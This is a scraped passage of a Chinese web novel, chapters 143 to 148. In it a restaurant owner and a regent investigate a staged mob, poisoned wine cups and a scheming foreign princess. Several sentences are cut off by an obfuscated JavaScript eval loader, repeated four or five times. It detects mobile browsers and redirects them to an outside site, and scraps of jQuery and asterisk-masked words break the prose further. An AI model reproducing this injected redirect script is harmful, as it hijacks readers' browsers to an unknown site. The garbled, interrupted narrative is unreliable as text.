萧寒瑾正把玩着手中的茶盏,闻言抬眸,目光如寒潭般幽深。茶香在室内缓缓飘散,却驱散不了空气中凝结的紧张气氛。 “说。”他语气淡淡,却透着不容忽视的威严。 绿竹低着头,手指微微攥紧:“死者家属闹得很凶。一大群人围在凤栖楼门前,嚷着要让东家偿命。属下本想驱散,然而围观的群众越来越多。为避免伤及无辜,只得让他们退到几步之外。” 柳映雪坐在一旁,纤细的手指轻轻敲击着桌面。她眸光一冷,这般声势浩大,来得如此迅速,分明是有人在背后操纵。 屋外传来阵阵喧哗声,夹杂着哭喊和叫骂。柳映雪蹙眉,声音清冷:“死者的底细查清了吗?” “查到了,小姐。”绿竹抬头瞥了一眼窗外,又迅速低下头,“死者名叫宓云白,是个童生,今年二十六岁。家中只有一位老母亲和一位凶悍的妻子。因常年考不上秀才,与妻子时有争执。前几日又与妻子大吵一场,是他的同窗见他郁郁寡欢,才劝他来此散心的。” “只是个寻常童生?”柳映雪眸光微动,指尖在桌面上的纹路上轻轻划过,“为何能在这么短时间内**这么多人?” 绿竹犹豫片刻:“属下已派人去查。目前可以确定,闹得最凶的就是那位寡妇。她一来就撒泼打滚,又哭又闹,把路过的百姓都吸引了过来。” 第一百四十三章 ** 柳映雪站起身,长裙摆动间带起一阵清风。她走到窗边,透过窗棂看向楼下嘈杂的人群。街道上灯火通明,照亮了那些愤怒的面孔。 “我去看看。”她转身道,“这些人,除了那寡妇是真心讨要说法,其他人怕是别有用心。” 萧寒瑾起身道:“我陪你。” 柳映雪唇角微扬,眼中带着几分戏谑:“放心,我不会把他们打得太惨。” “绿竹。”萧寒瑾沉声道,“让府尹多派些人来,把那些故意生事的刁民,统统关进大牢。” “是。” 柳映雪与萧寒瑾从后门进入凤栖楼主楼,慕秀紧接着跟上。楼内的客人早已被疏散,只剩下几个手持长剑的侍卫在各个要道把守。 穿过长廊时,隐约能听到前门传来的喧闹声。绿风的声音不时响起,似乎在与人争执。柳映雪加快脚步,转过最后一个拐角。 只见一群人正要硬闯进来,绿风和两名侍卫持剑阻拦。但围观的百姓也在帮腔,有人甚至开始往里面扔石头。玻璃碎裂的声音不时响起,场面一度混乱。 “让开!让我们进去!”人群中传来尖利的女声,“我要为我死去的相公讨个说法!” 绿风见几人就要闯进来,正要挥剑,却见那些人突然倒飞出去,重重砸在人群中。柳映雪站在门内,眸光冷冽。这些人一看就是收了钱来**的,她正好借此机会发泄心中怒火。 “还有要进来的吗?”她冷声问道,声音不大,却让外面的喧闹声瞬间减弱了几分。 人群中传来窃窃私语,有人开始往后退。但很快,又有几个人壮着胆子往里闯。绿风冷笑一声,干脆让开一条路。 “兄弟们,把里面砸了,剩下的银子就是我们的了!”为首的大汉大声喊道,脸上带着狰狞的笑容。 柳映雪眸中寒光一闪,这些人倒是把幕后主使供出来了。她嘴角勾起一抹冷笑,身形一闪,已经来到那些人面前。 几人刚踏入大堂,还没搞明白里面的状况,就被柳映雪一脚踹飞出去。她这次用了十成力道,那些人如断了线的风筝般飞出老远,砸倒了外面看热闹的几个人。 围观的百姓目瞪口呆,只见人影一个接一个从门内飞出,划出一道优美的弧线。有人开始往后退,生怕自己也成为那些“飞人”中的一员。 最后一人吓得跪地求饶,额头抵着地面:“小姐饶命!小的再也不敢了!” “说,谁在背后操控你们来捣乱的?”柳映雪冷笑道。 “没...没人指使...”那人支支吾吾,眼神闪烁。 “哦?”柳映雪眸光一转,目光落在远处的摊位上,“我看远处那个耍大刀的摊位就不错,不如让你试试那刀够不够锋利?” “说。”她的声音清冷如寒潭。 那人浑身一颤,额头冷汗直冒,双手紧紧抓着地面,指节因用力而发白:“小、小姐饶命!我们收到了封信,里面附了五百两银票,说只要按信上说的做,事成后还能得一千两......” 柳映雪缓步走到他面前,青色裙摆在地上轻轻拂过。她微微俯身,目光如刀般锋利:“谁送的信?” “是、是个小乞丐!”那人声音颤抖,“脏兮兮的,看起来也就七八岁的样子。他说有人给了他两个铜板,让他把信送来......” “其他呢?” “我真的不知道了!”那人连连磕头,额头撞在地板上发出沉闷的响声,“我们也不过是一时被财迷了心窍,看到那么多银子,就......” 柳映雪眸光微动,淡淡开口:“信呢?” “在、在那个被您踹飞的壮汉身上......”那人声音越来越小,“就是穿着灰色粗布衣裳的那个......” 她微微蹙眉,回想方才混乱中确实有这么一个人。转头看向身后的连秀:“去找。” “是。”连秀领命而去,裙摆翩然。 酒楼外已经围了不少看热闹的百姓,三三两两地挤在一起,指指点点。有人认出了柳映雪,低声议论:“这不是凤栖楼的掌柜吗?听说身手了得......”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709114|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “可不是,刚才那几个**的,都被她一个人打趴下了。” “啧啧,这年头,女子也能这般厉害......” 连秀在人群中穿梭,很快找到了那个昏迷的壮汉。她快速搜身,从他怀中取出一封已经被汗水浸湿的信函,立刻返回酒楼。 柳映雪接过信纸,小心展开。纸上的字迹工整,显然出自名家之手。信中详细写明了如何陷害凤栖楼,从**到煽动**,无一遗漏。最令她在意的是,信的最后提到要揭露她柳映雪二掌家的身份。 她心中一动,第一个想到的就是那位西幽公主。只有她,才会对自己的身份如此执着。 萧寒瑾一直站在她身后,此时见她神色不对,接过信纸扫了一眼。他目光陡然变得凌厉,周身散发出一股令人心悸的寒意。 “绿风。”他将信递给一旁的侍卫,“查,一定要查清楚是谁写的。那个小乞丐也要找到。” “是!”绿风领命而去,身影很快消失在人群中。 这时外面又是一阵喧哗,府衙的人和凤栖楼的孙掌柜等人都回来了。衙役分开人群,为他们让出一条路来。 捕头站在酒楼门前,高声宣布:“经府尹大人查证,凤栖楼是被人陷害!今日所有**之人,都将依法处置。今后若有人再来**,定当严惩!” 围观的人群议论纷纷。有人叹气:“这下凤栖楼的名声算是坏了,谁还敢来这里用膳?” “就是,虽说是被陷害,但**人可是实打实的......” 捕头让衙役将**的人一一带走。只有那童生的母亲夫人还跪在地上,撕心裂肺地哭喊:“我儿啊!你死得好冤啊!” 柳映雪看着这一幕,心中暗叹。她转头对连秀低声道:“去查那童生的母亲,每月送些银两过去。” 连秀欲言又止:“小姐,这......” “去吧。”柳映雪轻声道,“虽说凤栖楼也是受害者,但终究有人在此丧命。那老人家白发人送黑发人,已是天大的痛苦。” 第一百四十四章 继续调查 夜色渐深,酒楼内外终于安静下来。柳映雪站在二楼的窗前,看着街上零星的行人。今日的事虽然已经平息,但她总觉得心头压着一块石头。 “在想什么?”萧寒瑾不知何时来到她身后。 柳映雪没有回头:“今日之事,恐怕只是个开始。” “有我在。”他的声音低沉而坚定。 柳映雪转身看他,月光下,那张俊美的面容带着几分温柔。她知道,有些话不必说得太明白。 夜已深,街上早已没了行人。柳映雪让人将酒楼打扫干净,准备明日重新开业。 回到后院时,连秀追了上来:“小姐,那童生的母亲我已经派人去查了。她家境清贫,就靠儿子教书维持生计。” 柳映雪点点头:“多送些银两,让她能过得宽裕些。” “是。”连秀应下,又犹豫道,“小姐,您说这件事会不会和......” “不必说了。”柳映雪打断她,“天色不早,你也去休息吧。” 连秀欲言又止,最终还是行礼退下。 夜色越发深沉,柳映雪坐在灯下,将今日的事在脑中过了一遍。她总觉得有什么细节被自己忽略了,但一时又想不起来。 绿风很快带来消息:“那个小乞丐找到了,但他什么都不知道。送信的人戴着面具,连男女都分辨不出。” 柳映雪蹙眉:“信纸可有线索?” “是上等宣纸,但京城内能买到这种纸的铺子太多,查不出来源。” 绿竹快步走到王爷身边,身形微微前倾,压低声音在他耳边说了几句话。萧寒瑾原本慵懒的神色瞬间收敛,眸光一凛,面色沉了下来。 柳映雪敏锐地察觉到他的异样,不由得蹙眉。她本想开口询问,却见萧寒瑾已经转过身来。 “雪儿,王府那边突然有些事需要处理,我得先回去一趟。”萧寒瑾语气平和,仿佛方才的凝重不过是错觉。 柳映雪迟疑片刻,“可是出什么事了?若是需要帮忙的话......” “小事而已。”萧寒瑾打断她的话,唇角勾起一抹温和的弧度,“你把这边的事情搞定就好,不用担心。” 见他神色如常,柳映雪也不好再追问,只得点头道:“那你快去吧,这里已经没什么大事了。” 萧寒瑾微微颔首,目光不着痕迹地扫过对面茶楼二楼。他转身大步离去时,玄色锦袍的衣角在风中微微翻飞,带着一丝说不清道不明的肃杀之气。 柳映雪目送他远去的背影,若有所思地看向茶楼。那个方向似乎有人一直在盯着这边,却始终不曾露面。她心中隐约有些不安,但眼下还有更重要的事情要处理。 “诸位请随我进来。”她收回思绪,转向孙掌柜等人,“咱们进去说话。” 茶楼二楼的雅间内,司微澜脸上的笑意渐渐扭曲。窗边的茶盏早已凉透,她却浑然不觉,目光死死盯着楼下的情景。原本以为那群人能给凤栖楼造成些麻烦,没想到被柳映雪和摄政王轻易化解。看着两人在酒楼门前亲密的模样,她心中的妒火更盛。 “这些**的人是你安排的?”司徽风坐在对面,眉头紧皱。茶香袅袅升起,却驱散不了房间里凝重的气氛。 “是又如何?”司微澜冷笑一声,玉指轻轻敲击着桌面,“不过是想给柳映雪添点堵罢了。府衙那一出让我很不痛快,只要她不开心,我就开心。” “你这样做毫无意义,只会让摄政王捞到把柄。”司徽风端起茶盏抿了一口,语气中带着几分无奈,“别忘了母后的叮嘱。” “青珑做事向来谨慎,不会留下痕迹的。”司微澜一脸自信,眼中闪着阴狠,“况且,这不过是个开始。” 司徽风放下茶盏,深深地叹了口气。若不是同胞姐妹,加上母后再三叮嘱要照看好妹妹,他才懒得管这些。只是看着妹妹日渐偏执的样子,他心中不免有些担忧。 隔壁雅间,三皇子和萧生玉也在关注着楼下的动静。窗棂半开,微风拂过,带来街市上熙熙攘攘的声响。 “生玉,你说柳映雪究竟用了什么手段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709115|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让宣掌柜态度大变?”三皇子手指轻叩桌面,眼中带着几分疑惑。 萧生玉放下手中的茶盏,目光若有所思,“三哥,在宣掌柜改变态度之前,可有什么异常?” “对了!”三皇子猛地想起什么,“九皇叔的茶盏掉在地上,那时真把我吓了一大跳。那声响来得突然,却恰到好处。” 萧生玉眼中闪着了然,“或许是九皇叔在帮柳大小姐打掩护。那个时机,未免太过巧合。” “难怪我看到他们在打哑谜。”三皇子恍然大悟,随即露出一抹意味深长的笑容,“不过生玉,这次有人比我们更想对付柳映雪。” 两人对视而笑,都明白对方所指。窗外的风忽然大了些,吹得窗纱轻轻摆动,在地上投下摇曳的影子。 凤栖楼内,柳映雪让人关上大门,将众人召集到堂内。檀木桌案上摆着几盏清茶,袅袅热气在空中缭绕。 “把昨日的事情都说清楚,尤其是膳房发生的事。”她目光锐利地扫过众人,声音不疾不徐却带着不容置疑的威严。 那些**去向不明,始终是个隐患。若是被有心人利用,后果不堪设想。 众人你一言我一语地说着,气氛渐渐变得紧张。突然,一个年轻的肆厨神色犹豫,欲言又止。他的手指不安地绞在一起,额头渗出细密的汗珠。 “有什么直说无妨。”柳映雪注意到他的异样,语气温和了几分,“大家都是自己人。” 这位孙双厨是孙掌柜的侄子,为人老实本分,平日里话也不多。他深吸一口气,像是下定了决心,“小小姐,昨日午时我炒了一道菜,转身取东西时,回来发现菜上沾了些白色粉末。我觉得不对劲,就重新做了一份。” 此话一出,堂内顿时一片哗然。众人面面相觑,空气中弥漫着一股难言的紧张。 “为何现在才说?”柳映雪沉声问道。 孙双厨低着头,双手不安地绞在一起,额头上渗出细密的汗珠。他能感受到小小姐的目光仿佛要将他看穿,这让他更加紧张。 第一百四十五章 二掌家 “那盘菜上的白色粉末,你是如何发现的?”柳映雪的声音不疾不徒,却带着不容置疑的威严。 孙双厨咽了咽口水,声音有些颤抖:“回小小姐,那日我进膳房时,看到瓷盘边缘有些白色粉末,起初我以为是面粉撒上去的...”他停顿了一下,似乎在回忆当时的情景,“但仔细一看,那粉末的颜色和质地都与面粉不同。” 柳映雪若有所思地看着院中来往的下人,继续追问:“发现异常后,那道菜你是怎么搞定的?” “我...我...”孙双厨支支吾吾,额头的汗珠滚落下来。 一旁的孙掌柜看不下去了,急得直跺脚:“你这孩子,小小姐问什么就答什么,磨磨蹭蹭的像什么样子!” 柳映雪转过身,嘴角微扬:“不必紧张,但说无妨,我不会怪你。” 孙双厨深吸一口气,声若蚊蝇:“我把菜给了大壮...” “大壮?”柳映雪眉头微蹙。 孙掌柜连忙解释:“是我们后院养的狗狗。这孩子从小就照顾它,平日里剩菜都会喂给它。” 话音未落,孙双厨突然“扑通”一声跪了下来,额头重重地磕在地上:“求小小姐饶命,我知道私自处置食材是大错,我再也不敢了!” 柳映雪看着他这副模样,无奈道:“起来吧,带我去看看那条狗。” 穿过长长的回廊,脚步声在青石板上回响。后院的角落里,一条**正一动不动地躺着,看起来毫无生气。 “大壮!”孙双厨冲上前,眼泪瞬间涌出,“你怎么就这么**呢?” 连秀忍不住笑出声:“你眼睛是不是有问题?狗明明还在呼吸。”她指着大壮微微起伏的胸膛。 柳映雪蹲下身,仔细打量着大壮。这狗确实不正常,有这么多人来了居然毫无反应,连耳朵都没动一下。她的眼中闪着深思。 “连秀,去打盆水来。” 趁着连秀去打水的功夫,柳映雪暗中从空间取出一包药粉。等连秀端着水盆回来,她趁人不备,迅速将药粉撒入水中。 “泼!” 冰冷的水浇在大壮头上,它猛地跳起来,甩了甩身子,随即朝着陌生人狂吠起来。院子里瞬间热闹起来,其他下人都被吸引过来看热闹。 柳映雪站起身,拍了拍裙摆上的尘土。果然如此。那日的菜里下了**,若不是被孙双厨发现异常,后果不堪设想。 她的脑海中迅速闪过几个可疑人选:悬壶山庄的两个女弟子,她们最近频繁出入凤栖楼;卢芷柔,那个表面温婉实则心机深沉的女子;还有那位高傲的西幽公主。 不过西幽公主性格骄傲,应该不屑做这种小手段。至于卢芷柔,她派来的丫鬟手上并没有烫伤痕迹,而厨房的热油必定会在不经意间留下痕迹。最可疑的,还是那两个悬壶山庄弟子。 回到大堂,众人都愁眉不展地站着。空气中弥漫着一股压抑的气氛,连平日里活泼的小二们都耷拉着脑袋。 柳映雪清了清嗓子:“从今往后,你们叫我二掌家即可。” 众人齐声应是,脸上的表情略微轻松了些。 “孙双厨。”柳映雪忽然开口,目光落在那个年轻人身上,“你以后跟着大肆厨学习。你观察细致,反应机敏,是个可造之材。” 孙双厨激动得说不出话来,眼眶微红。 “至于开张之事。”柳映雪目光扫过众人,声音坚定,“后日重新开业,你们今明两日好好准备。” 小二们眼中都燃起希望之光,窃窃私语声此起彼伏。 “好了,都下去吧,孙掌柜留下。” 孙掌柜搓着手走上前:“二掌家,您有什么吩咐?” “掌柜的,你在凤栖楼多年,对每个人都很了解。”柳映雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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第一百四十六章 查酒樽 柳映雪神色专注,仔细观察着每一个酒樽的变化。她纤长的睫毛微微颤动,眸中闪过警惕的光芒。这批酒樽来路蹊跷,若真有问题,后果不堪设想。 一个时辰后,检查终于完成。柳映雪望着单独摆放的十九个酒樽,眸光渐冷。加上府衙那一个,整整二十个带毒的酒樽,全都放在木箱最上层。 她修长的手指轻轻敲击桌面,陷入沉思。这绝非偶然,而是一场精心策划的阴谋。若二十人同时毒发身亡,整个京城必定大乱。到时候,就算有萧寒瑾护着,她也难逃一死。 “二掌家。”孙掌柜打破沉默,声音中带着几分担忧,“这该如何是好?” 柳映雪收回思绪,目光落在老者布满皱纹的脸上。“孙掌柜,除了酒樽,其他餐具全部封存。明日你亲自去采买新的,切记不可透露酒楼名号。” “是,二掌家。”孙掌柜恭敬应道。这位新来的二掌家年纪虽轻,却处事果断,让人不由得心生敬佩。 “这两日辛苦你了。”柳映雪语气缓和,“明日青莲会来帮忙,她在经商上颇有心得。你们一同将酒楼运转起来。” 孙掌柜连忙躬身,“老奴定当尽心竭力。” “去搞一辆马车,从后门离开。” 待孙掌柜离开,柳映雪转向连秀,“将这些酒樽分开装箱,装上马车。然后去买一辆新车,在京城医馆附近等我。” “是,小姐。”连秀应声,开始忙碌起来。 夜色渐深,街道上行人稀少。柳映雪坐在马车上,望着窗外飞逝的街景。灯火阑珊中,她的眸光愈发深邃。这场暗潮汹涌的博弈,才刚刚开始。 车夫按她吩咐驶向药坊。马蹄声在寂静的街道上回响。 在一个拐角处,她身形一闪,轻巧地跃入另一辆马车。夜风掀起她的衣袂,又迅速归于平静。原本的马车继续前行,车夫浑然不觉车厢已空。 “去那小弟提到的酒樽取货地点。”柳映雪吩咐连秀,眼中闪着寒意。她要查清这批酒樽的来源,找出背后之人。 与此同时,摄政王府灯火通明。 东方辉看到王爷归来,差点乐得泪奔。这些日子被绿竹看守,连书房门都出不得,他都快憋疯了。堆积如山的公务更是让他头痛不已,批阅到深夜也处理不完。 萧寒瑾走进书房,目光落在成堆的公文上,眉头微蹙。烛光映照下,他俊美的面容带着几分疲惫,却依旧不减威仪。 “这些事情还没搞定?”他声音清冷,带着一丝不悦。 东方辉欲哭无泣,他真的尽力了。这些日子,他几乎没合过眼,可公务还是像潮水般涌来,永无止境。 “辛苦了,去休息吧。”萧寒瑾淡淡道,语气稍缓,“不过日后要快些。” 东方辉心中苦笑,自从王爷有了未来王妃,就把他这位朋友当成牛来使唤。他又不是不知道,王爷这些日子是陪着那位未来小王妃去云州游玩了。 夜色渐浓,书房内烛火摇曳。萧寒瑾坐在案前,手指轻叩桌面,目光冷淡地扫过一旁神色受伤的东方辉。 “王爷......”东方辉欲言又止。他知道王爷对西幽公主的厌恶,可那位公主确实对王爷一片痴心。 绿竹快步走进书房,手中拿着一份秘报。他先是向萧寒瑾行礼,随后恭敬地将秘报呈上。烛光下,他额头已有细密汗珠。 东方辉见状立即收起委屈神色,正襟危坐。空气中弥漫着一股凝重的气息。 萧寒瑾展开秘报,眸光渐冷。纸张在他修长的手指间发出轻微的响声。 “王爷,巫域内部出现大乱。”东方辉急切开口,声音里带着几分焦虑,“那争张杀尽原凤张一族,如今已占据巫域,还去了西幽国。这事非同小可啊。” 萧寒瑾微微颔首。前凤张之女如今在雪儿麾下,这事他早已知晓。烛光映照在他俊美的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15720934|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧颜上,勾勒出一道冷峻的轮廓。 “我们的人追查西幽皇子与巫域勾结时,意外发现那新任凤张的行踪。”东方辉压低声音,身子不自觉前倾,“他在一座山上停留整整一日,据查那西幽国的巫师就在山上养病。这未免太过巧合。” 萧寒瑾眸光微动,手指停在桌面上。窗外一阵风吹过,烛火剧烈摇晃,在墙上投下摇曳的影子。 “王爷,那巫师来历成谜,仿佛凭空出现,连西幽皇帝对他都极为敬重。”绿竹补充道,额头的汗珠更密了,“据说他能掐会算,连西幽皇帝的几次军事行动都是按他的指点行事。” “巫蛊之术古已有之,这二人或许早有渊源。”东方辉若有所思地摸着下巴,“巫域向来以蛊术闻名,新任凤张与巫师相见,恐怕不只是巧合这么简单。” 萧寒瑾声音如寒冰般冷冽:“无论如何,密切关注他们的每一个动作。但要当心,这些人精通蛊术,稍有不慎就会被控制。我不希望再损失任何人手。” “是,属下明白。”绿竹和东方辉齐声应道。 书房内一时陷入沉默,只有烛火偶尔发出轻微的噼啪声。萧寒瑾修长的手指轻轻敲击着桌面,似在思索什么。 “那凤张后来去了何处?”他突然开口问道。 绿竹面露愧色,低下头:“跟丢了。他太过谨慎,到了西幽国后只见了几个皇室勾结者,就不见踪影。属下已经加派人手搜寻,但至今未有消息。” 萧寒瑾冷笑一声,眸中寒光闪烁:“把凤张与巫师见面的消息,传到西幽皇帝和太子耳中。” “王爷!”东方辉惊呼出声,随即压低声音,“西幽皇帝对那巫师极为信任,他在占卜上颇有造诣。若是贸然散布消息......” “帝王之心,向来多疑。”萧寒瑾眸光深邃,语气淡然,“巫师与凤张私下勾结,足以让他忌惮。况且,这本就是事实,不是么?” 第一百四十七章 一个姑娘 东方辉还想说什么,却被突然推门而入的绿风打断。 “王爷,那封信的笔迹查到了。”绿风单膝跪地,声音里带着几分急切,“是澄斋附近一名书生所写,他说被一名蒙面女子持剑胁迫。那书生吓得面如土色,至今还心有余悸。” 萧寒瑾眸光一凝:“可看清那女子容貌?” “未能。不过送信的小乞儿说,那女子身上有种特别的胭脂香。”绿风顿了顿,“那香味极为独特,连街边的蝴蝶都被吸引过来。” 东方辉眼前一亮,猛地站起身:“西幽皇室独有的胭脂!据说香气独特,连蝶儿都为之倾心。这胭脂配方是西幽皇室秘传,外人根本无法仿制。” 萧寒瑾想到那位日日来访的西幽公主,眉头微皱。烛光下,他的表情晦暗不明。 “绿竹,四贡院那边可有消息?”他淡淡问道。 “回王爷,西幽公主身边有个叫青珑的侍女,武功不弱。”绿竹恭敬回答,“这些日子都是她陪公主来访。那青珑虽然看似温婉,但属下观察,她的举手投足间都带着杀气。” “是啊。”东方辉插话道,“那公主抱着雪莲日日来访,痴情得很呢。每次来都要在园子里坐上半天,说是欣赏王爷种的花。” 萧寒瑾眼中厌恶之色一闪而过,声音冰冷如霜:“日后她若再来,直接轰走。本王不想再见到她。” “是。”众人应声。 萧寒瑾起身走到窗前,望向漆黑的夜空。月光如水,洒在他俊美的面容上。西幽公主、神秘巫师、新任凤张,这些人究竟有何图谋?一切似乎都笼罩在迷雾之中。 “王爷,要不要派人暗中跟踪那青珑?”东方辉小心翼翼地建议。 萧寒瑾摇头:“不必。她既然敢明目张胆地来,就说明已经做好了被跟踪的准备。” “那......” “静观其变。”萧寒瑾转身,眸光如刀,“本王倒要看看,他们究竟想玩什么把戏。” 绿竹突然想起什么:“王爷,还有一事。近日城中有不少人突然失踪,而且都是在深夜。属下派人查访,发现这些人都有一个共同点......” “什么共同点?” “他们都是武功高强之人。”绿竹声音低沉,“而且,每个人失踪前都曾看到过一只金色的蝴蝶。” 萧寒瑾眸光一凛:“金色蝴蝶?” “是的。那蝴蝶据说美得不似凡物,但凡见过的人都说,它的翅膀上似乎有某种奇特的纹路,看久了就会头晕目眩。” 东方辉倒吸一口冷气:“莫非是......” “蛊!”萧寒瑾眼中寒光乍现,“传令下去,所有人但凡见到金色蝴蝶,立即屏住呼吸,速速离开。” “是!” 柳映雪站在铺子门前,眉头微蹙。初晓的寒意还未散尽,一阵冷风吹过,掀起她墨色长裙的衣角。 她轻轻抚摸着手中的酒樽,瓷器冰凉的触感从指尖传来。这小小的器物,竟牵扯出如此大的案件。她的目光落在酒樽精致的纹路上,思绪纷乱。 身旁的连秀看出她的犹豫,轻声道:“姐姐,天色已晚,要不改日再来?” “不,今日必须查个明白。”柳映雪摇头,抬眼望向店铺的招牌,“醉香老”五个字在暮色中依旧清晰可见。 掌柜见二人驻足良久,连忙迎了出来:“两位姑娘是来看酒樽的?小店的货色虽不算上等,但也还算精致。” 柳映雪展颜一笑:“掌柜说笑了,贵店的酒樽可是远近闻名。”她从袖中取出一块令牌,“在下是明理阁的柳映雪,想向掌柜打听些事。” 掌柜见令牌上“明理阁”三字清晰可见,神色顿时凝重起来:“原来是柳小姐,快请进。” 店内陈设简单却整洁,各式酒樽摆放得井然有序。掌柜将二人引到内堂,奉上热茶。 “掌柜,想必你也听说了凤栖楼的案子。”柳映雪抿了口茶,目光如水般平静。 掌柜神色一变:“听说了一些。那日我还在想,怎么会有这种事。” “这批酒樽是何时送到凤栖楼的?” “三日前。”掌柜思索片刻,“是我亲自送去的。” 柳映雪放下茶盏,指尖轻轻摩挲着杯沿:“送货时可有什么异常?” “并无异常。”掌柜摇头,“一切都很正常。” 柳映雪若有所思:“那么,从制作完成到送货这段时间,可有外人接触过这批酒樽?” 掌柜正要摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725154|170463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,忽然想起什么:“对了!有位姑娘来过。” “什么样的姑娘?” “那姑娘生得极美,说是要订购一批酒樽。”掌柜回忆道,“她说要看看样品,便在店里转了许久。” 连秀插话道:“掌柜可还记得那姑娘的模样?” “记不太清了。”掌柜叹气,“只记得她身上有股淡淡的茉莉花香。” 柳映雪站起身,缓步走到柜台前。各式酒樽在灯光下泛着柔和的光泽。她随手拿起一个,仔细端详:“掌柜,这些酒樽都是你亲手所制?” “不是老朽,是我徒弟阿禄制作的。” “那为何每个酒樽底部都有一个小点?”柳映雪翻转酒樽,指着底部的标记。 掌柜惊讶道:“小姐好眼力!那是阿禄的习惯。要不要叫他来说说?” 柳映雪点头。片刻后,一个二十出头的年轻人走了出来。他身形瘦削,手上满是老茧。 “阿禄,”柳映雪温和地说,“我想请教你个问题。”她从箱子里取出两个酒樽,“这两个,你可认得出哪个是你所制?” 阿禄仔细端详,很快指向其中一个:“这个是我做的,底部有我的标记。” “那么,”柳映雪又取出几个,“这批酒樽中,可有不是你制作的?” 阿禄检查后,脸色突变:“确实有些不是我做的!大约二十个左右。” 这个数字让柳映雪心中一惊。她想起凤栖楼那些有毒的酒樽,数量正好相仿。 “阿禄,你可记得那位来看样品的姑娘?” 阿禄脸一红:“记得...她很漂亮...” “除此之外呢?” “她身上有股茉莉花香,”阿禄回忆道,“还带了个很大的包袱,说是要带走样品。” “她来时,你可曾离开过前厅?” 阿禄点头:“是的,我去后院取东西时,她独自在前厅待了一会儿。” 柳映雪转向掌柜:“那姑娘离开时,可曾带走什么?” “似乎没有。”掌柜摇头,“不过老朽也没太注意。” 柳映雪轻声道:“或许,她带来的本就不是空的包袱。” 掌柜和阿禄面面相觑,似乎明白了什么。 第一百四十八章 又**了 “那姑娘可曾留下名字?” “并未留下。”掌柜答道,“不过她说过几日还会来。” 柳映雪眼中闪着锐利:“掌柜,若她再来,可否派人通知我?” “这是自然。”掌柜连连点头。 柳映雪站在铺子里,目光在那批崭新的酒樽上逡巡。 “掌柜的,这批酒樽是何时完工的?”她的声音不疾不徐,却让对面的掌柜额头沁出细密的汗珠。 掌柜擦了擦额头,眼神闪烁,语气已不似方才那般惊慌,“回小姐的话,三日前就已完工,装箱后便放在后院,一直未曾动过。” 三日时间。柳映雪指尖轻轻摩挲着手中酒樽精致的纹路,这段时间,足够有心人做许多事了。她抬眼看向掌柜,“除了凤栖楼的订单,可还有其他酒楼的货?” “是有的。”掌柜点头哈腰,“还有两家小酒楼一同下的订单,不过他们要得少,总共也就六十个。”话音未落,掌柜突然像是想起什么,脸色骤变,转身就往后院跑去。 “小姐,他这是...”连秀疑惑地看向自家主子。 柳映雪嘴角微扬“他怕其他酒楼的酒樽也出了问题,我们跟去看看。” 后院的小仓房里,空气中弥漫着木屑和漆料的气味。掌柜正手忙脚乱地检查着两个木箱,听到脚步声连忙抬头,“小姐放心,这两家的货都安好,没有被人动过。” 柳映雪站在门口,目光在仓房内缓缓扫过。狭小的空间里堆满了木料和工具,没有窗户,若要进来只能从正门。地上杂乱的脚印让她眉头微蹙,这些痕迹显然不是一个人留下的。 “这里晚上可能有人守着?”她问道,声音里带着若有若无的寒意。 “有一个小厮专门守夜。”掌柜擦着手上的灰尘,“他一向尽职尽责...” 话音未落,外面突然传来一阵慌乱的脚步声。一个面色惨白的小厮跌跌撞撞地冲了进来,双腿发软,几乎站不稳,“掌...掌柜的,死...**了!” 仓房内瞬间陷入死寂。 柳映雪眸光一凝,快步向小厮指的方向走去。推开杂物房的门,浓重的血腥气扑面而来。一具尸体倒在角落里,死者双目圆睁,面容扭曲,像是临死前见到了什么极其可怕的东西。 